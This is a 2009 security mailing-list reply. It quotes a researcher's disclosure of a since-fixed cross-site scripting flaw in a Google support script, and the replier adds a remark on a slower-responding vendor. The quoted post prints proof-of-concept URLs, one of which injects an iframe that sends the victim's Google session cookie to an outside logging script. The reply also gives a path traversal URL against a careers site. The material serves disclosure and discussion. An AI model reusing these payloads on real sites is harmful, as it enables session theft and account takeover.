Re: Universal XSS in all Google Services
This is much better than its competitor (Yxxxx! Inc).
We reported critical security bug to them twice. All lost to their spam
quarantine. When they managed to get back to us, and white-listed our
addresses, we sent the alert again, and a reminder after. We weren't sure if
those two got through, but we haven't heard from them either.
Anyway, the bug was resolved (without due credit) in about a month or two.
http://careers.yxxxx.com/pdfdownload.php?file=/../pdfdownload.php
This serves as a contrast to the prompt response that Google Security Team
displayed.
Cheers
Nam
On 9 May 2009 02:03:15 -0000
Inferno@xxxxxxxxxxxxxxxxxx wrote:
> Universal XSS Vulnerability in all Google Services can compromise your
> personal information
> May 8th, 2009
>
> Vulnerability Reported: 04/18/2009 9.33 pm
> Google’s Response: 04/18/2009 10.19 pm (Wow! that was super fast for Saturday
> :))
> Vulnerability Fixed: 05/05/2009 7.05 pm
> Change Propogated: 05/07/2009 3.19 pm
>
> I recently reported a cross-scripting flaw to Google, which is now fixed. The
> vulnerability existed in Google’s Support Python Script where a malicious url
> is not sanitized for XSS character ‘ (single quote) before putting inside
> javascript variable logURL. As a result, it was possible to break the
> encapsulation of the var declaration and execute arbitary javascript commands
> on the main Google.com domain.
>
> The only limitation was the following characters were either filtered out or
> url encoded - ” (double quote) < > (space) { }. However, this protection
> could be easily circumvented. I was able to write javascript statements to
> steal the session cookies [since characters such as ' ; . ( ) / = + were
> still available] and send it to my evil website. See the example given below.
>
> Your Google.com domain cookie is the central Single Sign-On cookie to all
> google services. Once anyone gets it, he or she can use it to
>
> 1. Steal your emails.
> 2. Steal your contacts.
> 3. Steal your documents.
> 4. Steal your code.
> 5. Steal your sites.
> 6. Steal your website analytics.
> 7. Backdoor your iGoogle Homepage with malicious gadgets.
> …. and there should be still some more things remaining that you can play
> with.
>
> Simple Proof of Concept Code that displays your Google.com cookie in an alert
> box:-
>
> http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';alert(document.cookie);//&src=cb&lev=index
>
> More real-world example where an attacker will silently transfer your
> Google.com cookie to his or her evil site:-
>
> http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';ifr=document.createElement('iframe');ifr.src='http:'+'//www.securethoughts.com/security/cookielogger/log.cgi?cookie='+escape(document.cookie);document.body.appendChild(ifr);//src=cb&lev=index
>
> I would like thank the Google Security Team for their prompt responses and
> fixing this serious issue in a timely manner. If you think Google took a long
> time in fixing this vulnerability, think again. This python script is used in
> a lot of places. Try this Google Dork to see the usage of this script in
> almost all Google Services.
--
Nam Nguyen
Blue Moon Consulting Co., Ltd
http://www.bluemoon.com.vn